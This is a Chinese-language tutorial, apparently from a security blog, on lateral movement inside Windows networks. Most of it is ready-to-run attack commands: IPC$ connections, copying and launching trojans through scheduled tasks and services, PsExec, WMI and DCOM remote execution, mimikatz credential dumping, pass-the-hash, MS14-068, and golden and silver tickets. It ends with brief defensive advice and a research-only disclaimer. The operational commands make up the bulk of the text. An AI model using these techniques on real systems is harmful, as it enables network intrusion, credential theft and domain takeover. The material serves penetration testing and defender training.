横向移动的n种姿势
字数 1535 2025-08-05 08:19:06

Windows内网横向移动技术详解

一、IPC$连接利用

1. IPC$基础概念

  • IPC$(Internet Process Connection)是Windows进程间通信的"管道"
  • 通过提供用户名密码建立加密通道,实现文件上传、下载和命令执行
  • 同一时间两个IP之间只能建立一个IPC$连接

2. 利用条件

  1. 目标未禁用IPC$连接,开放139/445端口
  2. 目标开启了默认共享服务(逻辑盘、系统目录)
  3. 获取了目标管理员权限的账号密码(最好是域管理员)
  4. 目标系统支持IPC$且与攻击机网络互通

3. 基本操作流程

  1. 建立IPC$连接:
net use \\<IP>\ipc$ password /user:username
  1. 查看当前连接:
net use
  1. 目录操作:
dir \\192.168.52.138\c$
  1. 磁盘映射:
net use z: \\ip\c$ password /user:Administrator
net use z: \\ip\c$  # 已建立连接时使用
  1. 删除连接:
net use \\ip\ipc$ /del

二、计划任务利用

1. at命令(适用于2003及以下系统)

  1. 通过IPC$连接
  2. 确定目标时间:
net time \\ip
  1. 拷贝木马:
copy <本地木马路径> \\<靶机IP>\c$
  1. 创建计划任务:
at \\<靶机IP> <启动时间> <木马在靶机的位置>
  1. 删除计划任务:
at \\192.168.52.141 1 /delete

2. schtasks命令(适用于2008及以上系统)

  1. 建立IPC$连接
  2. 拷贝木马:
copy C:\artifact.exe \\192.168.52.141\c$
  1. 创建计划任务:
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32
  1. 查看任务:
schtasks /query /TN cs
  1. 删除任务:
schtasks /delete /tn "cs"

三、Windows服务利用

1. 利用条件

  • 当前主机需要administrator权限

2. 操作流程

  1. 建立IPC$连接
  2. 拷贝木马到目标系统
  3. 创建服务:
sc \\WIN-M836NN6NU8B create shell binpath= "c:\artifact.exe"
  1. 启动服务:
sc \\WIN-M836NN6NU8B start shell
  1. 删除服务:
sc \\[host] delete [servicename]

四、PsExec工具利用

1. 利用条件

  • 目标开启admin$共享(默认开启)
  • 目标未开启防火墙
  • 工作组环境必须使用administrator用户连接
  • 域环境可用普通域用户或域管理员连接

2. 基本用法

  1. 直接执行:
PsExec64.exe -accepteula \\192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe
  1. 先建立IPC$连接:
net use \\192.168.10.3\ipc$ <password> /user:administrator
PsExec64.exe -accepteula \\192.168.10.3 cmd.exe
  1. 直接执行命令:
PsExec64.exe -accepteula \\192.168.10.3 ipconfig

3. MSF中的PsExec模块

常用模块:

  • exploit/windows/smb/psexec
  • exploit/windows/smb/ms17_10_psexec

五、WMI利用

1. 基本WMI命令

  1. 查询进程信息:
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
  1. 远程创建进程:
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:\result.txt"

2. wmiexec工具

  1. impacket中的wmiexec.py:
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"
  1. wmiexec.vbs:
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"
  1. PowerShell的Invoke-WMIMethod:
$User = "WIN-U8TRGT93CTR\administrator"
$Password = ConvertTo-SecureString -String "qwe123!@#" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.3" -Credential $Cred

六、DCOM利用

1. 利用条件

  1. 能关闭靶机防火墙
  2. 拥有cmdshell、靶机需要使用administrator账户

2. 操作流程

  1. 建立IPC$连接
  2. 上传木马到靶机
  3. 调用DCOM远程执行命令

3. 具体方法

  1. 调用MMC20.Application:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
  1. 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39:
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe", "/c c:\shell.exe", "c:\windows\system32", $null, 0)
  1. 调用Excel.Application:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")

七、哈希传递攻击(PTH)

1. 基本原理

  • 直接使用LM Hash和NTLM Hash访问远程主机或服务
  • 适用于:域/工作组环境、无法爆破hash、内网存在相同密码机器

2. 利用方法

  1. 使用mimikatz抓取hash:
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
  1. 哈希传递:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8

八、票据传递攻击(PTT)

1. MS14-068漏洞利用

  1. 获取域成员SID
  2. 生成TGT票据:
MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>
  1. 票据注入:
kerberos::purge
kerberos::ptc 票据文件

2. 黄金票据(Golden Ticket)

  1. 获取krbtgt hash:
lsadump::lsa /patch
  1. 生成黄金票据:
kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi
  1. 注入票据:
kerberos::ptt gold.kirbi

3. 白银票据(Silver Ticket)

  1. 获取机器ntlm hash:
sekurlsa::logonpasswords
  1. 生成白银票据:
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt

九、密钥传递攻击(PTK)

1. 基本原理

  • 使用AES密钥而非明文密码进行认证
  • 适用于不支持RC4加密方式的场景

2. 利用方法

  1. 获取AES key:
sekurlsa::ekeys
  1. 注入AES key:
sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d

十、防御建议

  1. 禁用不必要的共享和服务(如IPC$)
  2. 及时安装补丁(如MS14-068)
  3. 限制管理员权限使用
  4. 监控异常的计划任务和服务创建
  5. 启用NTLM认证的增强保护
  6. 定期轮换krbtgt账户密码
  7. 实施网络分段,限制横向移动路径
  8. 监控异常的身份验证活动

以上技术仅供安全研究和防御参考,请勿用于非法用途。

Windows内网横向移动技术详解 一、IPC$连接利用 1. IPC$基础概念 IPC$(Internet Process Connection)是Windows进程间通信的"管道" 通过提供用户名密码建立加密通道,实现文件上传、下载和命令执行 同一时间两个IP之间只能建立一个IPC$连接 2. 利用条件 目标未禁用IPC$连接,开放139/445端口 目标开启了默认共享服务(逻辑盘、系统目录) 获取了目标管理员权限的账号密码(最好是域管理员) 目标系统支持IPC$且与攻击机网络互通 3. 基本操作流程 建立IPC$连接: 查看当前连接: 目录操作: 磁盘映射: 删除连接: 二、计划任务利用 1. at命令(适用于2003及以下系统) 通过IPC$连接 确定目标时间: 拷贝木马: 创建计划任务: 删除计划任务: 2. schtasks命令(适用于2008及以上系统) 建立IPC$连接 拷贝木马: 创建计划任务: 查看任务: 删除任务: 三、Windows服务利用 1. 利用条件 当前主机需要administrator权限 2. 操作流程 建立IPC$连接 拷贝木马到目标系统 创建服务: 启动服务: 删除服务: 四、PsExec工具利用 1. 利用条件 目标开启admin$共享(默认开启) 目标未开启防火墙 工作组环境必须使用administrator用户连接 域环境可用普通域用户或域管理员连接 2. 基本用法 直接执行: 先建立IPC$连接: 直接执行命令: 3. MSF中的PsExec模块 常用模块: exploit/windows/smb/psexec exploit/windows/smb/ms17_ 10_ psexec 五、WMI利用 1. 基本WMI命令 查询进程信息: 远程创建进程: 2. wmiexec工具 impacket中的wmiexec.py: wmiexec.vbs: PowerShell的Invoke-WMIMethod: 六、DCOM利用 1. 利用条件 能关闭靶机防火墙 拥有cmdshell、靶机需要使用administrator账户 2. 操作流程 建立IPC$连接 上传木马到靶机 调用DCOM远程执行命令 3. 具体方法 调用MMC20.Application: 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39: 调用Excel.Application: 七、哈希传递攻击(PTH) 1. 基本原理 直接使用LM Hash和NTLM Hash访问远程主机或服务 适用于:域/工作组环境、无法爆破hash、内网存在相同密码机器 2. 利用方法 使用mimikatz抓取hash: 哈希传递: 八、票据传递攻击(PTT) 1. MS14-068漏洞利用 获取域成员SID 生成TGT票据: 票据注入: 2. 黄金票据(Golden Ticket) 获取krbtgt hash: 生成黄金票据: 注入票据: 3. 白银票据(Silver Ticket) 获取机器ntlm hash: 生成白银票据: 九、密钥传递攻击(PTK) 1. 基本原理 使用AES密钥而非明文密码进行认证 适用于不支持RC4加密方式的场景 2. 利用方法 获取AES key: 注入AES key: 十、防御建议 禁用不必要的共享和服务(如IPC$) 及时安装补丁(如MS14-068) 限制管理员权限使用 监控异常的计划任务和服务创建 启用NTLM认证的增强保护 定期轮换krbtgt账户密码 实施网络分段,限制横向移动路径 监控异常的身份验证活动 以上技术仅供安全研究和防御参考,请勿用于非法用途。